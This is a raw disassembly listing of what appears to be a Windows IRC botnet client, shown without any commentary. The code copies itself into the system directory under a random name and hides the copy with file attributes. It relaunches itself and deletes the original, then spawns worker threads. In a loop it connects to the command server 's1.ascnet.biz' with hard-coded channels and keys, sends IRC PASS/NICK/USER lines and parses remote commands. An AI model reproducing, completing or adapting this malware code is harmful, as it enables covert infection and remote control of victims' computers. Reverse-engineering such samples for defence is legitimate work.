		call	dword_4916F4	; closesocket
		push	dword ptr [ebp+8]
		call	sub_4012A3
		pop	ecx
		push	esi
		call	ds:dword_495334	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 6Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BA3	proc near		; CODE XREF: sub_4012D0j

var_99C		= dword	ptr -99Ch
var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= dword	ptr -0E8h
var_DC		= dword	ptr -0DCh
var_BC		= dword	ptr -0BCh
var_B8		= word ptr -0B8h
var_A4		= byte ptr -0A4h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], offset off_4011EA
		push	[ebp+var_C]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_495340
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4834B0, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_416B0E
		pop	ecx
		call	sub_4012F3
		push	2
		call	dword_491708	; SetErrorMode
		push	7530h
		push	offset dword_42C954
		push	ebx
		push	ebx
		call	ds:dword_4953B0	; CreateMutexA
		push	eax
		call	ds:dword_4953AC	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_407C23
		push	1
		call	ds:dword_495350	; ExitProcess


loc_407C23:				; CODE XREF: sub_407BA3+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_4915D4	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jnz	loc_408261
		cmp	[ebp+var_888], 2
		jnz	loc_40825B
		xor	eax, eax
		mov	al, [ebp+var_887]
		cmp	al, 2
		jnz	loc_40825B
		mov	esi, 104h
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		call	ds:dword_495364	; GetSystemDirectoryA
		lea	eax, [ebp+var_2F0]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_4953A8	; GetModuleHandleA
		push	eax
		call	ds:dword_495330	; GetModuleFileNameA
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_417900
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_5F8]
		push	eax
		push	offset aSS_0	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_4163D7
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_417760
		add	esp, 30h
		test	eax, eax
		jnz	loc_407E98
		cmp	dword_42C934, ebx
		mov	esi, offset aBedf_exe ;	"bedf.exe"
		jz	short loc_407D1E
		push	esi
		xor	edi, edi
		call	sub_4158E0
		sub	eax, 4
		pop	ecx
		jz	short loc_407D1E


loc_407CFB:				; CODE XREF: sub_407BA3+179j
		call	sub_416B18
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte ptr aBedf_exe[edi], dl ; "bedf.exe"
		inc	edi
		call	sub_4158E0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_407CFB


loc_407D1E:				; CODE XREF: sub_407BA3+148j
					; sub_407BA3+156j
		lea	eax, [ebp+var_3F4]
		push	esi
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_2	; "%s\\%s"
		push	eax
		call	sub_416821
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_495374	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_407D5E
		lea	eax, [ebp+var_1EC]
		push	80h
		push	eax
		call	ds:dword_4953A4	; SetFileAttributesA


loc_407D5E:				; CODE XREF: sub_407BA3+1A7j
		mov	esi, ds:dword_4953A0
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		xor	edi, edi
		push	eax


loc_407D75:				; CODE XREF: sub_407BA3+209j
		call	esi	; CopyFileA
		test	eax, eax
		jnz	short loc_407DAE
		call	ds:dword_495328	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_407DAE
		cmp	eax, 20h
		jz	short loc_407D8F
		cmp	eax, 5
		jnz	short loc_407DAE


loc_407D8F:				; CODE XREF: sub_407BA3+1E5j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_495324	; Sleep
		lea	eax, [ebp+var_1EC]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		jmp	short loc_407D75
; ---------------------------------------------------------------------------


loc_407DAE:				; CODE XREF: sub_407BA3+1D6j
					; sub_407BA3+1E0j ...
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_401320
		pop	ecx
		lea	eax, [ebp+var_1EC]
		push	7
		push	eax
		call	ds:dword_4953A4	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415CA0
		push	44h
		lea	eax, [ebp+var_E8]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 18h
		mov	[ebp+var_E8], esi
		mov	[ebp+var_DC], offset byte_4370BC
		mov	[ebp+var_B8], bx
		push	1
		pop	esi
		mov	[ebp+var_BC], esi
		call	ds:dword_49539C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_495398	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_416821
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_98C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_495354	; CreateProcessA
		test	eax, eax
		jz	short loc_407E98
		push	0C8h
		call	ds:dword_495324	; Sleep
		push	[ebp+var_24]
		mov	esi, ds:dword_495358
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_4915BC	; WSACleanup
		push	ebx
		call	ds:dword_495350	; ExitProcess


loc_407E98:				; CODE XREF: sub_407BA3+137j
					; sub_407BA3+2CBj
		cmp	dword_492810, 2
		jle	short loc_407EE4
		mov	eax, dword_492814
		push	dword ptr [eax+4]
		call	sub_416CCF
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_4953AC	; WaitForSingleObject
		push	esi
		call	ds:dword_495358	; CloseHandle
		mov	eax, dword_492814
		cmp	[eax+8], ebx
		jz	short loc_407EE4
		push	7D0h
		call	ds:dword_495324	; Sleep
		mov	eax, dword_492814
		push	dword ptr [eax+8]
		call	ds:dword_495394	; DeleteFileA


loc_407EE4:				; CODE XREF: sub_407BA3+2FCj
					; sub_407BA3+326j
		cmp	dword_42C938, ebx
		jz	short loc_407F01
		cmp	dword_49172C, ebx
		jnz	short loc_407F01
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_4012FD
		pop	ecx


loc_407F01:				; CODE XREF: sub_407BA3+347j
					; sub_407BA3+34Fj
		lea	eax, [ebp+var_A4]
		push	offset dword_42D3CC
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_40105F
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_401014
		push	0B80h
		push	ebx
		push	offset dword_43DBA0
		call	sub_415CA0
		lea	eax, [ebp+var_A4]
		push	offset unk_42D398
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40105F
		add	esp, 38h
		mov	edi, eax
		mov	esi, ds:dword_49532C
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_401357
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43E934[edi], eax
		jnz	short loc_407FA1
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset unk_42D340
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_407FA1:				; CODE XREF: sub_407BA3+3E1j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_401014
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset unk_42D300
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_401276
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43E934[edi], eax
		jnz	short loc_40800E
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset unk_42D2AC
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_40800E:				; CODE XREF: sub_407BA3+44Ej
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_401014
		lea	eax, [ebp+var_A4]
		mov	[esp+99Ch+var_99C], offset unk_42D270
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_A4]
		push	1
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_401019
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43E934[edi], eax
		jnz	short loc_408081
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset unk_42D21C
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_408081:				; CODE XREF: sub_407BA3+4C1j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_401014
		push	2
		call	sub_4010E6
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408106
		lea	eax, [ebp+var_A4]
		push	offset unk_42D1DC
		push	eax
		call	sub_416821
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_40105F
		add	esp, 14h
		mov	edi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	edi
		push	offset sub_401195
		push	ebx
		push	ebx
		call	esi	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_43E934[edi], eax
		jnz	short loc_4080F9
		call	ds:dword_495328	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_A4]
		push	offset unk_42D190
		push	eax
		call	sub_416821
		add	esp, 0Ch


loc_4080F9:				; CODE XREF: sub_407BA3+539j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_401014
		pop	ecx


loc_408106:				; CODE XREF: sub_407BA3+4F5j
		call	sub_416B18
		push	7Fh
		and	eax, 3
		push	offset aS1_ascnet_biz ;	"s1.ascnet.biz"
		push	offset dword_4834BC
		mov	dword_483634, eax
		call	sub_416A10
		mov	eax, dword_42C918
		push	3Fh
		mov	edi, offset dword_48353C
		push	offset asc_42C978 ; "##x"
		push	edi
		mov	dword_48360C, eax
		call	sub_416A10
		push	3Fh
		mov	esi, offset dword_48357C
		push	offset aG1g	; "g1g"
		push	esi
		call	sub_416A10
		add	esp, 24h
		mov	dword_483610, ebx


loc_40815B:				; CODE XREF: sub_407BA3+65Ej
					; sub_407BA3+669j ...
		mov	[ebp+var_8], ebx


loc_40815E:				; CODE XREF: sub_407BA3+612j
		cmp	dword_491744, ebx
		jnz	short loc_40817C
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		call	dword_4915A0	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40817C
		push	7530h
		jmp	short loc_4081A8
; ---------------------------------------------------------------------------


loc_40817C:				; CODE XREF: sub_407BA3+5C1j
					; sub_407BA3+5D0j
		push	offset dword_4834B8
		mov	dword_483630, ebx
		call	sub_4010FF
		cmp	eax, 2
		mov	[ebp+var_C], eax
		jz	loc_408256
		cmp	dword_483630, ebx
		jz	short loc_4081A3
		dec	[ebp+var_8]


loc_4081A3:				; CODE XREF: sub_407BA3+5FBj
		push	0BB8h


loc_4081A8:				; CODE XREF: sub_407BA3+5D7j
		call	ds:dword_495324	; Sleep
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 6
		jl	short loc_40815E
		cmp	[ebp+var_C], 2
		jz	loc_408256
		cmp	[ebp+var_10], ebx
		jz	short loc_408206
		push	7Fh
		push	offset aS1_ascnet_biz ;	"s1.ascnet.biz"
		push	offset dword_4834BC
		call	sub_416A10
		mov	eax, dword_42C918
		push	3Fh
		push	offset asc_42C978 ; "##x"
		push	edi
		mov	dword_48360C, eax
		call	sub_416A10
		push	3Fh
		push	offset aG1g	; "g1g"
		push	esi
		call	sub_416A10
		add	esp, 24h
		mov	[ebp+var_10], ebx
		jmp	loc_40815B
; ---------------------------------------------------------------------------


loc_408206:				; CODE XREF: sub_407BA3+621j
		cmp	byte_48362C, bl
		jz	loc_40815B
		push	7Fh
		push	offset byte_48362C
		push	offset dword_4834BC
		call	sub_416A10
		mov	eax, dword_42C91C
		push	3Fh
		push	offset aGig	; "##gig##"
		push	edi
		mov	dword_48360C, eax
		call	sub_416A10
		push	3Fh
		push	offset aKeyzzz	; "keyzzz"
		push	esi
		call	sub_416A10
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_40815B
; ---------------------------------------------------------------------------


loc_408256:				; CODE XREF: sub_407BA3+5EFj
					; sub_407BA3+618j
		call	sub_401109


loc_40825B:				; CODE XREF: sub_407BA3+A4j
					; sub_407BA3+B4j
		call	dword_4915BC	; WSACleanup


loc_408261:				; CODE XREF: sub_407BA3+97j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_407BA3	endp

; ---------------------------------------------------------------------------
		db 1B1h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40841B	proc near		; CODE XREF: sub_4010FFj

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_408440:				; CODE XREF: sub_40841B+E6j
					; sub_40841B+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_49165C	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_4011C2
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40856D
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_415CA0
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_483620
		push	dword_42C92C
		push	eax
		call	sub_401343
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E938
		push	edi
		push	eax
		call	sub_416A10
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4916DC	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E92C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_491604	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408506
		push	esi
		call	dword_4916F4	; closesocket
		call	sub_4010CD
		push	7D0h


loc_4084FB:				; CODE XREF: sub_40841B+146j
		call	ds:dword_495324	; Sleep
		jmp	loc_408440
; ---------------------------------------------------------------------------


loc_408506:				; CODE XREF: sub_40841B+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_42D40C
		call	sub_4012B2
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_40116D
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4916F4	; closesocket
		test	edi, edi
		jz	loc_408440
		cmp	edi, 1
		jnz	short loc_408563
		push	0DBBA0h
		jmp	short loc_4084FB
; ---------------------------------------------------------------------------


loc_408563:				; CODE XREF: sub_40841B+13Fj
		cmp	edi, 2
		jz	short loc_408571
		jmp	loc_408440
; ---------------------------------------------------------------------------


loc_40856D:				; CODE XREF: sub_40841B+5Aj
		xor	eax, eax
		jmp	short loc_40857D
; ---------------------------------------------------------------------------


loc_408571:				; CODE XREF: sub_40841B+14Bj
		push	[ebp+var_34]
		call	sub_4012A3
		pop	ecx
		push	2
		pop	eax


loc_40857D:				; CODE XREF: sub_40841B+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_40841B	endp

; ---------------------------------------------------------------------------
		db 5Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085DD	proc near		; CODE XREF: sub_40116Dj

var_1B90	= byte ptr -1B90h
var_B90		= byte ptr -0B90h
var_3C0		= byte ptr -3C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1B90h
		call	sub_416880
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	5
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_3C0]
		pop	ecx


loc_4085FB:				; CODE XREF: sub_4085DD+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_4085FB
		cmp	byte_483628, bl
		jz	short loc_408622
		push	offset byte_483628
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_401032
		add	esp, 0Ch


loc_408622:				; CODE XREF: sub_4085DD+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_401343
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_416821
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_4158E0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4916AC	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40868C
		push	[ebp+arg_0]
		call	dword_4916F4	; closesocket
		push	1388h
		call	ds:dword_495324	; Sleep


loc_408685:				; CODE XREF: sub_4085DD+D9j
					; sub_4085DD+153j
		xor	eax, eax


loc_408687:				; CODE XREF: sub_4085DD+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40868C:				; CODE XREF: sub_4085DD+92j
					; sub_4085DD+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1B90]
		push	esi
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	eax, [ebp+var_1B90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_491674	; recv
		test	eax, eax
		jle	short loc_408685
		lea	eax, [ebp+var_B90]
		push	eax
		lea	eax, [ebp+var_1B90]
		push	eax
		call	sub_4010D7
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40868C
		lea	edi, [ebp+var_B90]


loc_4086DD:				; CODE XREF: sub_4085DD+165j
		push	1
		pop	esi


loc_4086E0:				; CODE XREF: sub_4085DD+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_3C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40110E
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_408723
		push	7D0h
		call	ds:dword_495324	; Sleep
		jmp	short loc_4086E0
; ---------------------------------------------------------------------------


loc_408723:				; CODE XREF: sub_4085DD+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40874D
		cmp	esi, 0FFFFFFFEh
		jz	short loc_408749
		cmp	esi, 0FFFFFFFFh
		jz	loc_408685
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_4086DD
		jmp	loc_40868C
; ---------------------------------------------------------------------------


loc_408749:				; CODE XREF: sub_4085DD+14Ej
		push	1
		jmp	short loc_40874F
; ---------------------------------------------------------------------------


loc_40874D:				; CODE XREF: sub_4085DD+149j
		push	2


loc_40874F:				; CODE XREF: sub_4085DD+16Ej
		pop	eax
		jmp	loc_408687
sub_4085DD	endp

; ---------------------------------------------------------------------------
		db 5Eh dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087B3	proc near		; CODE XREF: sub_40110Ej

var_159C	= byte ptr -159Ch
var_119C	= byte ptr -119Ch
var_F9C		= byte ptr -0F9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_B94		= byte ptr -0B94h
var_A94		= byte ptr -0A94h
var_A14		= byte ptr -0A14h
var_9B3		= byte ptr -9B3h
var_9B2		= byte ptr -9B2h
var_9B0		= byte ptr -9B0h
var_9AF		= byte ptr -9AFh
var_9A6		= byte ptr -9A6h
var_9A4		= byte ptr -9A4h
var_9A2		= byte ptr -9A2h
var_9A1		= byte ptr -9A1h
var_914		= dword	ptr -914h
var_910		= byte ptr -910h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= byte ptr -804h
var_788		= byte ptr -788h
var_778		= dword	ptr -778h
var_774		= byte ptr -774h
var_700		= byte ptr -700h
var_6F8		= dword	ptr -6F8h
var_6F4		= byte ptr -6F4h
var_689		= byte ptr -689h
var_688		= byte ptr -688h
var_674		= byte ptr -674h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= byte ptr -5F0h
var_588		= dword	ptr -588h
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_578		= dword	ptr -578h
var_574		= dword	ptr -574h
var_570		= dword	ptr -570h
var_56C		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= byte ptr -564h
var_548		= byte ptr -548h
var_4F0		= dword	ptr -4F0h
var_4EC		= byte ptr -4ECh
var_4E0		= dword	ptr -4E0h
var_4DC		= byte ptr -4DCh
var_4AC		= byte ptr -4ACh
var_48C		= dword	ptr -48Ch
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= byte ptr -448h
var_444		= byte ptr -444h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_404		= byte ptr -404h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3E8		= byte ptr -3E8h
var_3E4		= byte ptr -3E4h
var_3C4		= byte ptr -3C4h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_374		= byte ptr -374h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_E4		= byte ptr -0E4h
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= dword	ptr -0D4h
var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_60		= byte ptr -60h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 159Ch
		call	sub_416880
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		mov	[ebp+var_A8], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C8], ebx
		call	sub_415CA0
		push	1Bh
		lea	eax, [ebp+var_564]
		push	[ebp+arg_10]
		push	eax
		call	sub_416A10
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_408B77
		push	esi
		lea	eax, [ebp+var_F9C]
		push	ebx
		push	eax
		call	sub_415CA0
		dec	esi
		lea	eax, [ebp+var_F9C]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_416A10
		lea	eax, [ebp+var_F9C]
		push	offset asc_42F9C0 ; " :"
		push	eax
		call	sub_417760
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_F9C]
		push	esi
		push	eax
		lea	eax, [ebp+var_119C]
		push	eax
		call	sub_416A10
		mov	esi, offset asc_42BFC4 ; " "
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4176C0
		add	esp, 34h
		mov	[ebp+var_A0], eax
		lea	edi, [ebp+var_9C]
		mov	[ebp+var_A4], 1Fh


loc_408886:				; CODE XREF: sub_4087B3+E7j
		push	esi
		push	ebx
		call	sub_4176C0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A4]
		pop	ecx
		jnz	short loc_408886
		mov	esi, [ebp+var_A0]
		cmp	esi, ebx
		jz	loc_408B77
		cmp	[ebp+var_9C], ebx
		jz	loc_408B77
		push	100h
		lea	eax, [ebp+var_A14]
		push	ebx
		push	eax
		call	sub_415CA0
		add	esp, 0Ch
		lea	ecx, [ebp+var_24]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_4088D4:				; CODE XREF: sub_4087B3+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_408900
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_408908
		cmp	[eax+2], bl
		jnz	short loc_408908
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_A14], 1
		mov	esi, [ebp+var_A0]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_408900:				; CODE XREF: sub_4087B3+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_4088D4


loc_408908:				; CODE XREF: sub_4087B3+12Aj
					; sub_4087B3+12Fj
		cmp	[ebp+var_9A1], bl
		jz	short loc_408913
